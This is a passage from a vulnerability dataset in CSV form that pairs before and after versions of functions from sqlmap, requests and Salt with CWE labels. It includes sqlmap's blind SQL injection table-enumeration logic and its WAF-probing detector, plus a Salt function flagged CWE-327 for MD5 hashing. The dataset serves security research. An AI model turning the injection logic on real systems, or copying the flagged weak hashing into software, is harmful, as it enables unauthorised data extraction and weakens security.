                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = ""no databases have table""
                            if tblConsider == ""1"":
                                warnMsg += ""s LIKE""
                            warnMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query
                            query = query % (tblQuery + whereDbsQuery)
                            query = agent.limitQuery(index, query)

                            foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False))
                            foundDb = safeSQLIdentificatorNaming(foundDb)

                            if foundDb not in foundTbls:
                                foundTbls[foundDb] = []

                            if tblConsider == ""2"":
                                foundTbls[foundDb].append(tbl)

                        if tblConsider == ""2"":
                            continue
                    else:
                        for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),):
                            db = safeSQLIdentificatorNaming(db)
                            if db not in foundTbls:
                                foundTbls[db] = []
                else:
                    dbName = ""SQLite"" if Backend.isDbms(DBMS.SQLITE) else ""Firebird""
                    foundTbls[""%s%s"" % (dbName, METADB_SUFFIX)] = []

                for db in foundTbls:
                    db = safeSQLIdentificatorNaming(db)

                    infoMsg = ""fetching number of table""
                    if tblConsider == ""1"":
                        infoMsg += ""s LIKE""
                    infoMsg += "" '%s' in database '%s'"" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = query % unsafeSQLIdentificatorNaming(db)
                    query += "" AND %s"" % tblQuery

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = ""no table""
                        if tblConsider == ""1"":
                            warnMsg += ""s LIKE""
                        warnMsg += "" '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2

                        if "" ORDER BY "" in query:
                            query = query.replace("" ORDER BY "", ""%s ORDER BY "" % ("" AND %s"" % tblQuery))
                        elif query.endswith(""'%s')""):
                            query = query[:-1] + "" AND %s)"" % tblQuery
                        else:
                            query += "" AND %s"" % tblQuery

                        if Backend.isDbms(DBMS.FIREBIRD):
                            query = safeStringFormat(query, index)

                        if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                            query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))

                        if not Backend.isDbms(DBMS.FIREBIRD):
                            query = agent.limitQuery(index, query)

                        foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        if not isNoneValue(foundTbl):
                            kb.hintValue = foundTbl
                            foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
                            foundTbls[db].append(foundTbl)

        for db in list(foundTbls.keys()):
            if isNoneValue(foundTbls[db]):
                del foundTbls[db]

        if not foundTbls:
            warnMsg = ""no databases contain any of the provided tables""
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/sessions.py,0,"def resolve_redirects(self, resp, req, stream=False, timeout=None,
                          verify=True, cert=None, proxies=None, **adapter_kwargs):
        """"""Receives a Response. Returns a generator of Responses.""""""

        i = 0
        hist = [] # keep track of history

        while resp.is_redirect:
            prepared_request = req.copy()

            if i > 0:
                # Update history and keep track of redirects.
                hist.append(resp)
                new_hist = list(hist)
                resp.history = new_hist

            try:
                resp.content  # Consume socket so it can be released
            except (ChunkedEncodingError, ContentDecodingError, RuntimeError):
                resp.raw.read(decode_content=False)

            if i >= self.max_redirects:
                raise TooManyRedirects('Exceeded %s redirects.' % self.max_redirects, response=resp)

            # Release the connection back into the pool.
            resp.close()

            url = resp.headers['location']

            # Handle redirection without scheme (see: RFC 1808 Section 4)
            if url.startswith('//'):
                parsed_rurl = urlparse(resp.url)
                url = '%s:%s' % (parsed_rurl.scheme, url)

            # The scheme should be lower case...
            parsed = urlparse(url)
            url = parsed.geturl()

            # Facilitate relative 'location' headers, as allowed by RFC 7231.
            # (e.g. '/path/to/resource' instead of 'http://domain.tld/path/to/resource')
            # Compliant with RFC3986, we percent encode the url.
            if not parsed.netloc:
                url = urljoin(resp.url, requote_uri(url))
            else:
                url = requote_uri(url)

            prepared_request.url = to_native_string(url)
            # Cache the url, unless it redirects to itself.
            if resp.is_permanent_redirect and req.url != prepared_request.url:
                self.redirect_cache[req.url] = prepared_request.url

            self.rebuild_method(prepared_request, resp)

            # https://github.com/kennethreitz/requests/issues/1084
            if resp.status_code not in (codes.temporary_redirect, codes.permanent_redirect):
                # https://github.com/kennethreitz/requests/issues/3490
                purged_headers = ('Content-Length', 'Content-Type', 'Transfer-Encoding')
                for header in purged_headers:
                    prepared_request.headers.pop(header, None)
                prepared_request.body = None

            headers = prepared_request.headers
            try:
                del headers['Cookie']
            except KeyError:
                pass

            # Extract any cookies sent on the response to the cookiejar
            # in the new request. Because we've mutated our copied prepared
            # request, use the old one that we haven't yet touched.
            extract_cookies_to_jar(prepared_request._cookies, req, resp.raw)
            merge_cookies(prepared_request._cookies, self.cookies)
            prepared_request.prepare_cookies(prepared_request._cookies)

            # Rebuild auth and proxy information.
            proxies = self.rebuild_proxies(prepared_request, proxies)
            self.rebuild_auth(prepared_request, resp)

            # Override the original request.
            req = prepared_request

            resp = self.send(
                req,
                stream=stream,
                timeout=timeout,
                verify=verify,
                cert=cert,
                proxies=proxies,
                allow_redirects=False,
                **adapter_kwargs
            )

            extract_cookies_to_jar(self.cookies, prepared_request, resp.raw)

            i += 1
            yield resp",,psf/requests,439451c3d49a06bf0ace3b21ed7a56ca5b85b267,"def resolve_redirects(self, resp, req, stream=False, timeout=None,
                          verify=True, cert=None, proxies=None, **adapter_kwargs):
        """"""Receives a Response. Returns a generator of Responses.""""""

        i = 0
        hist = [] # keep track of history

        while resp.is_redirect:
            prepared_request = req.copy()

            if i > 0:
                # Update history and keep track of redirects.
                hist.append(resp)
                new_hist = list(hist)
                resp.history = new_hist

            try:
                resp.content  # Consume socket so it can be released
            except (ChunkedEncodingError, ContentDecodingError, RuntimeError):
                resp.raw.read(decode_content=False)

            if i >= self.max_redirects:
                raise TooManyRedirects('Exceeded %s redirects.' % self.max_redirects, response=resp)

            # Release the connection back into the pool.
            resp.close()

            url = resp.headers['location']

            # Handle redirection without scheme (see: RFC 1808 Section 4)
            if url.startswith('//'):
                parsed_rurl = urlparse(resp.url)
                url = '%s:%s' % (parsed_rurl.scheme, url)

            # The scheme should be lower case...
            parsed = urlparse(url)
            url = parsed.geturl()

            # Facilitate relative 'location' headers, as allowed by RFC 7231.
            # (e.g. '/path/to/resource' instead of 'http://domain.tld/path/to/resource')
            # Compliant with RFC3986, we percent encode the url.
            if not parsed.netloc:
                url = urljoin(resp.url, requote_uri(url))
            else:
                url = requote_uri(url)

            prepared_request.url = to_native_string(url)
            # Cache the url, unless it redirects to itself.
            if resp.is_permanent_redirect and req.url != prepared_request.url:
                self.redirect_cache[req.url] = prepared_request.url

            self.rebuild_method(prepared_request, resp)

            # https://github.com/kennethreitz/requests/issues/1084
            if resp.status_code not in (codes.temporary_redirect, codes.permanent_redirect):
                # https://github.com/kennethreitz/requests/issues/3490
                purged_headers = ('Content-Length', 'Content-Type', 'Transfer-Encoding')
                for header in purged_headers:
                    prepared_request.headers.pop(header, None)
                prepared_request.body = None

            headers = prepared_request.headers
            try:
                del headers['Cookie']
            except KeyError:
                pass

            # Extract any cookies sent on the response to the cookiejar
            # in the new request. Because we've mutated our copied prepared
            # request, use the old one that we haven't yet touched.
            extract_cookies_to_jar(prepared_request._cookies, req, resp.raw)
            prepared_request._cookies.update(self.cookies)
            prepared_request.prepare_cookies(prepared_request._cookies)

            # Rebuild auth and proxy information.
            proxies = self.rebuild_proxies(prepared_request, proxies)
            self.rebuild_auth(prepared_request, resp)

            # Override the original request.
            req = prepared_request

            resp = self.send(
                req,
                stream=stream,
                timeout=timeout,
                verify=verify,
                cert=cert,
                proxies=proxies,
                allow_redirects=False,
                **adapter_kwargs
            )

            extract_cookies_to_jar(self.cookies, prepared_request, resp.raw)

            i += 1
            yield resp"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/crawlprotect.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, code = get_page(get=vector)
        retval |= (code or 0) >= 400 and ""This site is protected by CrawlProtect"" in (page or """")
        retval |= ""<title>CrawlProtect"" in (page or """")
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,285482b396468cab9a611f73160ea603340c1574,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, code = get_page(get=vector)
        retval |= code >= 400 and ""This site is protected by CrawlProtect"" in (page or """")
        retval |= ""<title>CrawlProtect"" in (page or """")
        if retval:
            break

    return retval"
,UNKNOWN,UNKNOWN,salt/states/boto_asg.py,1,"def present(
        name,
        launch_config_name,
        availability_zones,
        min_size,
        max_size,
        launch_config=None,
        desired_capacity=None,
        load_balancers=None,
        default_cooldown=None,
        health_check_type=None,
        health_check_period=None,
        placement_group=None,
        vpc_zone_identifier=None,
        tags=None,
        termination_policies=None,
        suspended_processes=None,
        scaling_policies=None,
        scaling_policies_from_pillar='boto_asg_scaling_policies',
        scheduled_actions=None,
        scheduled_actions_from_pillar='boto_asg_scheduled_actions',
        alarms=None,
        alarms_from_pillar='boto_asg_alarms',
        region=None,
        key=None,
        keyid=None,
        profile=None,
        notification_arn=None,
        notification_arn_from_pillar='boto_asg_notification_arn',
        notification_types=None,
        notification_types_from_pillar='boto_asg_notification_types'):
    '''
    Ensure the autoscale group exists.

    name
        Name of the autoscale group.

    launch_config_name
        Name of the launch config to use for the group.  Or, if
        launch_config is specified, this will be the launch config
        name's prefix.  (see below)

    launch_config
        A dictionary of launch config attributes.  If specified, a
        launch config will be used or created, matching this set
        of attributes, and the autoscale group will be set to use
        that launch config.  The launch config name will be the
        launch_config_name followed by a hyphen followed by a hash
        of the launch_config dict contents.

    availability_zones
        List of availability zones for the group.

    min_size
        Minimum size of the group.

    max_size
        Maximum size of the group.

    desired_capacity
        The desired capacity of the group.

    load_balancers
        List of load balancers for the group. Once set this can not be
        updated (Amazon restriction).

    default_cooldown
        Number of seconds after a Scaling Activity completes before any further
        scaling activities can start.

    health_check_type
        The service you want the health status from, Amazon EC2 or Elastic Load
        Balancer (EC2 or ELB).

    health_check_period
        Length of time in seconds after a new EC2 instance comes into service
        that Auto Scaling starts checking its health.

    placement_group
        Physical location of your cluster placement group created in Amazon
        EC2. Once set this can not be updated (Amazon restriction).

    vpc_zone_identifier
        A list of the subnet identifiers of the Virtual Private Cloud.

    tags
        A list of tags. Example:
            - key: 'key'
              value: 'value'
              propagate_at_launch: true

    termination_policies
        A list of termination policies. Valid values are: “OldestInstance”,
        “NewestInstance”, “OldestLaunchConfiguration”,
        “ClosestToNextInstanceHour”, “Default”. If no value is specified, the
        “Default” value is used.

    suspended_processes
        List of processes to be suspended. see
        http://docs.aws.amazon.com/AutoScaling/latest/DeveloperGuide/US_SuspendResume.html

    scaling_policies
        List of scaling policies.  Each policy is a dict of key-values described by
        http://boto.readthedocs.org/en/latest/ref/autoscale.html#boto.ec2.autoscale.policy.ScalingPolicy

    scaling_policies_from_pillar:
        name of pillar dict that contains scaling policy settings.   Scaling policies defined for
        this specific state will override those from pillar.

    scheduled_actions:
        a dictionary of scheduled actions. Each key is the name of scheduled action and each value
        is dictionary of options. For example,
            - scheduled_actions:
                scale_up_at_10:
                    desired_capacity: 4
                    min_size: 3
                    max_size: 5
                    recurrence: ""0 9 * * 1-5""
                scale_down_at_7:
                    desired_capacity: 1
                    min_size: 1
                    max_size: 1
                    recurrence: ""0 19 * * 1-5""

    scheduled_actions_from_pillar:
        name of pillar dict that contains scheduled_actions settings. Scheduled actions
        for this specific state will override those from pillar.

    alarms:
        a dictionary of name->boto_cloudwatch_alarm sections to be associated with this ASG.
        All attributes should be specified except for dimension which will be
        automatically set to this ASG.
        See the boto_cloudwatch_alarm state for information about these attributes.
        if any alarm actions include  "":self:"" this will be replaced with the asg name.
        For example, alarm_actions reading ""['scaling_policy:self:ScaleUp']"" will
        map to the arn for this asg's scaling policy named ""ScaleUp"".
        In addition, any alarms that have only scaling_policy as actions will be ignored if
        min_size is equal to max_size for this ASG.

    alarms_from_pillar:
        name of pillar dict that contains alarm settings.   Alarms defined for this specific
        state will override those from pillar.

    region
        The region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string)
        that contains a dict with region, key and keyid.

    notification_arn
        The aws arn that notifications will be sent to

    notification_arn_from_pillar
        name of the pillar dict that contains notifcation_arn settings.  A notification_arn
        defined for this specific state will override the one from pillar.

    notification_types
        A list of event names that will trigger a notification.  The list of valid
        notification types is:
            ""autoscaling:EC2_INSTANCE_LAUNCH"",
            ""autoscaling:EC2_INSTANCE_LAUNCH_ERROR"",
            ""autoscaling:EC2_INSTANCE_TERMINATE"",
            ""autoscaling:EC2_INSTANCE_TERMINATE_ERROR"",
            ""autoscaling:TEST_NOTIFICATION""

    notification_types_from_pillar
        name of the pillar dict that contains notifcation_types settings.  Notification_types
        defined for this specific state will override those from the pillar.
    '''
    ret = {'name': name, 'result': True, 'comment': '', 'changes': {}}
    if vpc_zone_identifier:
        vpc_id = __salt__['boto_vpc.get_subnet_association'](
            vpc_zone_identifier,
            region,
            key,
            keyid,
            profile
        )
        log.debug('Auto Scaling Group {0} is associated with VPC ID {1}'
                  .format(name, vpc_id))
    else:
        vpc_id = None
        log.debug('Auto Scaling Group {0} has no VPC Association'
                  .format(name))
    # if launch_config is defined, manage the launch config first.
    # hash the launch_config dict to create a unique name suffix and then
    # ensure it is present
    if launch_config:
        launch_config_name = launch_config_name + '-' + hashlib.md5(str(launch_config)).hexdigest()
        args = {
            'name': launch_config_name,
            'region': region,
            'key': key,
            'keyid': keyid,
            'profile': profile
        }

        if vpc_id:
            log.debug('Auto Scaling Group {0} is a associated with a vpc')
            # locate the security groups attribute of a launch config
            sg_index = None
            for index, item in enumerate(launch_config):
                if 'security_groups' in item:
                    sg_index = index
                    break
            # if security groups exist within launch_config then convert
            # to group ids
            if sg_index:
                log.debug('security group associations found in launch config')
                _group_ids = __salt__['boto_secgroup.convert_to_group_ids'](
                    launch_config[sg_index]['security_groups'], vpc_id, region,
                    key, keyid, profile
                )
                launch_config[sg_index]['security_groups'] = _group_ids

        for d in launch_config:
            args.update(d)
        if not __opts__['test']:
            lc_ret = __states__['boto_lc.present'](**args)
            if lc_ret['result'] is True and lc_ret['changes']:
                if 'launch_config' not in ret['changes']:
                    ret['changes']['launch_config'] = {}
                ret['changes']['launch_config'] = lc_ret['changes']

    asg = __salt__['boto_asg.get_config'](name, region, key, keyid, profile)
    scaling_policies = _determine_scaling_policies(
        scaling_policies,
        scaling_policies_from_pillar
    )
    scheduled_actions = _determine_scheduled_actions(
        scheduled_actions,
        scheduled_actions_from_pillar
    )
    if asg is None:
        ret['result'] = False
        ret['comment'] = 'Failed to check autoscale group existence.'
    elif not asg:
        if __opts__['test']:
            msg = 'Autoscale group set to be created.'
            ret['comment'] = msg
            ret['result'] = None
            return ret
        notification_arn, notification_types = _determine_notification_info(
            notification_arn,
            notification_arn_from_pillar,
            notification_types,
            notification_types_from_pillar
        )
        created = __salt__['boto_asg.create'](name, launch_config_name,
                                              availability_zones, min_size,
                                              max_size, desired_capacity,
                                              load_balancers, default_cooldown,
                                              health_check_type,
                                              health_check_period,
                                              placement_group,
                                              vpc_zone_identifier, tags,
                                              termination_policies,
                                              suspended_processes,
                                              scaling_policies, scheduled_actions,
                                              region, notification_arn,
                                              notification_types,
                                              key, keyid, profile)
        if created:
            ret['changes']['old'] = None
            asg = __salt__['boto_asg.get_config'](name, region, key, keyid,
                                                  profile)
            ret['changes']['new'] = asg
        else:
            ret['result'] = False
            ret['comment'] = 'Failed to create autoscale group'
    else:
        need_update = False
        # If any of these attributes can't be modified after creation
        # time, we should remove them from the dict.
        if scaling_policies:
            for policy in scaling_policies:
                if 'min_adjustment_step' not in policy:
                    policy['min_adjustment_step'] = None
        if scheduled_actions:
            for s_name, action in scheduled_actions.iteritems():
                if 'end_time' not in action:
                    action['end_time'] = None
        config = {
            'launch_config_name': launch_config_name,
            'availability_zones': availability_zones,
            'min_size': min_size,
            'max_size': max_size,
            'desired_capacity': desired_capacity,
            'default_cooldown': default_cooldown,
            'health_check_type': health_check_type,
            'health_check_period': health_check_period,
            'vpc_zone_identifier': vpc_zone_identifier,
            'tags': tags,
            'termination_policies': termination_policies,
            'suspended_processes': suspended_processes,
            'scaling_policies': scaling_policies,
            'scheduled_actions': scheduled_actions
        }
        if suspended_processes is None:
            config['suspended_processes'] = []
        # ensure that we delete scaling_policies if none are specified
        if scaling_policies is None:
            config['scaling_policies'] = []
        # ensure that we delete scheduled_actions if none are specified
        if scheduled_actions is None:
            config['scheduled_actions'] = {}
        # allow defaults on start_time
        for s_name, action in scheduled_actions.iteritems():
            if 'start_time' not in action:
                asg_action = asg['scheduled_actions'].get(s_name, {})
                if 'start_time' in asg_action:
                    del asg_action['start_time']
        # note: do not loop using ""key, value"" - this can modify the value of
        # the aws access key
        for asg_property, value in six.iteritems(config):
            # Only modify values being specified; introspection is difficult
            # otherwise since it's hard to track default values, which will
            # always be returned from AWS.
            if value is None:
                continue
            if asg_property in asg:
                _value = asg[asg_property]
                if not _recursive_compare(value, _value):
                    log_msg = '{0} asg_property differs from {1}'
                    log.debug(log_msg.format(value, _value))
                    need_update = True
                    break
        if need_update:
            if __opts__['test']:
                msg = 'Autoscale group set to be updated.'
                ret['comment'] = msg
                ret['result'] = None
                return ret
            # add in alarms
            notification_arn, notification_types = _determine_notification_info(
                notification_arn,
                notification_arn_from_pillar,
                notification_types,
                notification_types_from_pillar
            )
            updated, msg = __salt__['boto_asg.update'](
                name,
                launch_config_name,
                availability_zones,
                min_size,
                max_size,
                desired_capacity=desired_capacity,
                load_balancers=load_balancers,
                default_cooldown=default_cooldown,
                health_check_type=health_check_type,
                health_check_period=health_check_period,
                placement_group=placement_group,
                vpc_zone_identifier=vpc_zone_identifier,
                tags=tags,
                termination_policies=termination_policies,
                suspended_processes=suspended_processes,
                scaling_policies=scaling_policies,
                scheduled_actions=scheduled_actions,
                region=region,
                notification_arn=notification_arn,
                notification_types=notification_types,
                key=key,
                keyid=keyid,
                profile=profile
            )
            if asg['launch_config_name'] != launch_config_name:
                # delete the old launch_config_name
                deleted = __salt__['boto_asg.delete_launch_configuration'](
                    asg['launch_config_name'],
                    region=region,
                    key=key,
                    keyid=keyid,
                    profile=profile
                )
                if deleted:
                    if 'launch_config' not in ret['changes']:
                        ret['changes']['launch_config'] = {}
                    ret['changes']['launch_config']['deleted'] = asg['launch_config_name']
            if updated:
                ret['changes']['old'] = asg
                asg = __salt__['boto_asg.get_config'](name, region, key, keyid,
                                                      profile)
                ret['changes']['new'] = asg
                ret['comment'] = 'Updated autoscale group.'
            else:
                ret['result'] = False
                ret['comment'] = msg
        else:
            ret['comment'] = 'Autoscale group present.'
    # add in alarms
    _ret = _alarms_present(
        name, min_size == max_size, alarms, alarms_from_pillar, region, key,
        keyid, profile
    )
    if _ret['changes'] != {}:
        ret['result'] = _ret['result']
        ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    return ret",CWE-327,saltstack/salt,4ba8837249229a0fb36d193ed1d9d2919d269274,"def present(
        name,
        launch_config_name,
        availability_zones,
        min_size,
        max_size,
        launch_config=None,
        desired_capacity=None,
        load_balancers=None,
        default_cooldown=None,
        health_check_type=None,
        health_check_period=None,
        placement_group=None,
        vpc_zone_identifier=None,
        tags=None,
        termination_policies=None,
        suspended_processes=None,
        scaling_policies=None,
        scaling_policies_from_pillar='boto_asg_scaling_policies',
        scheduled_actions=None,
        scheduled_actions_from_pillar='boto_asg_scheduled_actions',
        alarms=None,
        alarms_from_pillar='boto_asg_alarms',
        region=None,
        key=None,
        keyid=None,
        profile=None,
        notification_arn=None,
        notification_arn_from_pillar='boto_asg_notification_arn',
        notification_types=None,
        notification_types_from_pillar='boto_asg_notification_types'):
    '''
    Ensure the autoscale group exists.

    name
        Name of the autoscale group.

    launch_config_name
        Name of the launch config to use for the group.  Or, if
        launch_config is specified, this will be the launch config
        name's prefix.  (see below)

    launch_config
        A dictionary of launch config attributes.  If specified, a
        launch config will be used or created, matching this set
        of attributes, and the autoscale group will be set to use
        that launch config.  The launch config name will be the
        launch_config_name followed by a hyphen followed by a hash
        of the launch_config dict contents.

    availability_zones
        List of availability zones for the group.

    min_size
        Minimum size of the group.

    max_size
        Maximum size of the group.

    desired_capacity
        The desired capacity of the group.

    load_balancers
        List of load balancers for the group. Once set this can not be
        updated (Amazon restriction).

    default_cooldown
        Number of seconds after a Scaling Activity completes before any further
        scaling activities can start.

    health_check_type
        The service you want the health status from, Amazon EC2 or Elastic Load
        Balancer (EC2 or ELB).

    health_check_period
        Length of time in seconds after a new EC2 instance comes into service
        that Auto Scaling starts checking its health.

    placement_group
        Physical location of your cluster placement group created in Amazon
        EC2. Once set this can not be updated (Amazon restriction).

    vpc_zone_identifier
        A list of the subnet identifiers of the Virtual Private Cloud.

    tags
        A list of tags. Example:
            - key: 'key'
              value: 'value'
              propagate_at_launch: true

    termination_policies
        A list of termination policies. Valid values are: “OldestInstance”,
        “NewestInstance”, “OldestLaunchConfiguration”,
        “ClosestToNextInstanceHour”, “Default”. If no value is specified, the
        “Default” value is used.

    suspended_processes
        List of processes to be suspended. see
        http://docs.aws.amazon.com/AutoScaling/latest/DeveloperGuide/US_SuspendResume.html

    scaling_policies
        List of scaling policies.  Each policy is a dict of key-values described by
        http://boto.readthedocs.org/en/latest/ref/autoscale.html#boto.ec2.autoscale.policy.ScalingPolicy

    scaling_policies_from_pillar:
        name of pillar dict that contains scaling policy settings.   Scaling policies defined for
        this specific state will override those from pillar.

    scheduled_actions:
        a dictionary of scheduled actions. Each key is the name of scheduled action and each value
        is dictionary of options. For example,
            - scheduled_actions:
                scale_up_at_10:
                    desired_capacity: 4
                    min_size: 3
                    max_size: 5
                    recurrence: ""0 9 * * 1-5""
                scale_down_at_7:
                    desired_capacity: 1
                    min_size: 1
                    max_size: 1
                    recurrence: ""0 19 * * 1-5""

    scheduled_actions_from_pillar:
        name of pillar dict that contains scheduled_actions settings. Scheduled actions
        for this specific state will override those from pillar.

    alarms:
        a dictionary of name->boto_cloudwatch_alarm sections to be associated with this ASG.
        All attributes should be specified except for dimension which will be
        automatically set to this ASG.
        See the boto_cloudwatch_alarm state for information about these attributes.
        if any alarm actions include  "":self:"" this will be replaced with the asg name.
        For example, alarm_actions reading ""['scaling_policy:self:ScaleUp']"" will
        map to the arn for this asg's scaling policy named ""ScaleUp"".
        In addition, any alarms that have only scaling_policy as actions will be ignored if
        min_size is equal to max_size for this ASG.

    alarms_from_pillar:
        name of pillar dict that contains alarm settings.   Alarms defined for this specific
        state will override those from pillar.

    region
        The region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string)
        that contains a dict with region, key and keyid.

    notification_arn
        The aws arn that notifications will be sent to

    notification_arn_from_pillar
        name of the pillar dict that contains notifcation_arn settings.  A notification_arn
        defined for this specific state will override the one from pillar.

    notification_types
        A list of event names that will trigger a notification.  The list of valid
        notification types is:
            ""autoscaling:EC2_INSTANCE_LAUNCH"",
            ""autoscaling:EC2_INSTANCE_LAUNCH_ERROR"",
            ""autoscaling:EC2_INSTANCE_TERMINATE"",
            ""autoscaling:EC2_INSTANCE_TERMINATE_ERROR"",
            ""autoscaling:TEST_NOTIFICATION""

    notification_types_from_pillar
        name of the pillar dict that contains notifcation_types settings.  Notification_types
        defined for this specific state will override those from the pillar.
    '''
    ret = {'name': name, 'result': True, 'comment': '', 'changes': {}}
    if vpc_zone_identifier:
        vpc_id = __salt__['boto_vpc.get_subnet_association'](
            vpc_zone_identifier,
            region,
            key,
            keyid,
            profile
        )
        log.debug('Auto Scaling Group {0} is associated with VPC ID {1}'
                  .format(name, vpc_id))
    else:
        vpc_id = None
        log.debug('Auto Scaling Group {0} has no VPC Association'
                  .format(name))
    # if launch_config is defined, manage the launch config first.
    # hash the launch_config dict to create a unique name suffix and then
    # ensure it is present
    if launch_config:
        launch_config_name = launch_config_name + '-' + hashlib.md5(str(launch_config)).hexdigest()
        args = {
            'name': launch_config_name,
            'region': region,
            'key': key,
            'keyid': keyid,
            'profile': profile
        }

        if vpc_id:
            log.debug('Auto Scaling Group {0} is a associated with a vpc')
            # locate the security groups attribute of a launch config
            sg_index = None
            for index, item in enumerate(launch_config):
                if 'security_groups' in item:
                    sg_index = index
                    break
            # if security groups exist within launch_config then convert
            # to group ids
            if sg_index:
                log.debug('security group associations found in launch config')
                _group_ids = __salt__['boto_secgroup.convert_to_group_ids'](
                    launch_config[sg_index]['security_groups'], vpc_id, region,
                    key, keyid, profile
                )
                launch_config[sg_index]['security_groups'] = _group_ids

        for d in launch_config:
            args.update(d)
        if not __opts__['test']:
            lc_ret = __states__['boto_lc.present'](**args)
            lc_ret = lc_ret.values()[0]
            if lc_ret['result'] is True and lc_ret['changes']:
                if 'launch_config' not in ret['changes']:
                    ret['changes']['launch_config'] = {}
                ret['changes']['launch_config'] = lc_ret['changes']

    asg = __salt__['boto_asg.get_config'](name, region, key, keyid, profile)
    scaling_policies = _determine_scaling_policies(
        scaling_policies,
        scaling_policies_from_pillar
    )
    scheduled_actions = _determine_scheduled_actions(
        scheduled_actions,
        scheduled_actions_from_pillar
    )
    if asg is None:
        ret['result'] = False
        ret['comment'] = 'Failed to check autoscale group existence.'
    elif not asg:
        if __opts__['test']:
            msg = 'Autoscale group set to be created.'
            ret['comment'] = msg
            ret['result'] = None
            return ret
        notification_arn, notification_types = _determine_notification_info(
            notification_arn,
            notification_arn_from_pillar,
            notification_types,
            notification_types_from_pillar
        )
        created = __salt__['boto_asg.create'](name, launch_config_name,
                                              availability_zones, min_size,
                                              max_size, desired_capacity,
                                              load_balancers, default_cooldown,
                                              health_check_type,
                                              health_check_period,
                                              placement_group,
                                              vpc_zone_identifier, tags,
                                              termination_policies,
                                              suspended_processes,
                                              scaling_policies, scheduled_actions,
                                              region, notification_arn,
                                              notification_types,
                                              key, keyid, profile)
        if created:
            ret['changes']['old'] = None
            asg = __salt__['boto_asg.get_config'](name, region, key, keyid,
                                                  profile)
            ret['changes']['new'] = asg
        else:
            ret['result'] = False
            ret['comment'] = 'Failed to create autoscale group'
    else:
        need_update = False
        # If any of these attributes can't be modified after creation
        # time, we should remove them from the dict.
        if scaling_policies:
            for policy in scaling_policies:
                if 'min_adjustment_step' not in policy:
                    policy['min_adjustment_step'] = None
        if scheduled_actions:
            for s_name, action in scheduled_actions.iteritems():
                if 'end_time' not in action:
                    action['end_time'] = None
        config = {
            'launch_config_name': launch_config_name,
            'availability_zones': availability_zones,
            'min_size': min_size,
            'max_size': max_size,
            'desired_capacity': desired_capacity,
            'default_cooldown': default_cooldown,
            'health_check_type': health_check_type,
            'health_check_period': health_check_period,
            'vpc_zone_identifier': vpc_zone_identifier,
            'tags': tags,
            'termination_policies': termination_policies,
            'suspended_processes': suspended_processes,
            'scaling_policies': scaling_policies,
            'scheduled_actions': scheduled_actions
        }
        if suspended_processes is None:
            config['suspended_processes'] = []
        # ensure that we delete scaling_policies if none are specified
        if scaling_policies is None:
            config['scaling_policies'] = []
        # ensure that we delete scheduled_actions if none are specified
        if scheduled_actions is None:
            config['scheduled_actions'] = {}
        # allow defaults on start_time
        for s_name, action in scheduled_actions.iteritems():
            if 'start_time' not in action:
                asg_action = asg['scheduled_actions'].get(s_name, {})
                if 'start_time' in asg_action:
                    del asg_action['start_time']
        # note: do not loop using ""key, value"" - this can modify the value of
        # the aws access key
        for asg_property, value in six.iteritems(config):
            # Only modify values being specified; introspection is difficult
            # otherwise since it's hard to track default values, which will
            # always be returned from AWS.
            if value is None:
                continue
            if asg_property in asg:
                _value = asg[asg_property]
                if not _recursive_compare(value, _value):
                    log_msg = '{0} asg_property differs from {1}'
                    log.debug(log_msg.format(value, _value))
                    need_update = True
                    break
        if need_update:
            if __opts__['test']:
                msg = 'Autoscale group set to be updated.'
                ret['comment'] = msg
                ret['result'] = None
                return ret
            # add in alarms
            notification_arn, notification_types = _determine_notification_info(
                notification_arn,
                notification_arn_from_pillar,
                notification_types,
                notification_types_from_pillar
            )
            updated, msg = __salt__['boto_asg.update'](
                name,
                launch_config_name,
                availability_zones,
                min_size,
                max_size,
                desired_capacity=desired_capacity,
                load_balancers=load_balancers,
                default_cooldown=default_cooldown,
                health_check_type=health_check_type,
                health_check_period=health_check_period,
                placement_group=placement_group,
                vpc_zone_identifier=vpc_zone_identifier,
                tags=tags,
                termination_policies=termination_policies,
                suspended_processes=suspended_processes,
                scaling_policies=scaling_policies,
                scheduled_actions=scheduled_actions,
                region=region,
                notification_arn=notification_arn,
                notification_types=notification_types,
                key=key,
                keyid=keyid,
                profile=profile
            )
            if asg['launch_config_name'] != launch_config_name:
                # delete the old launch_config_name
                deleted = __salt__['boto_asg.delete_launch_configuration'](
                    asg['launch_config_name'],
                    region=region,
                    key=key,
                    keyid=keyid,
                    profile=profile
                )
                if deleted:
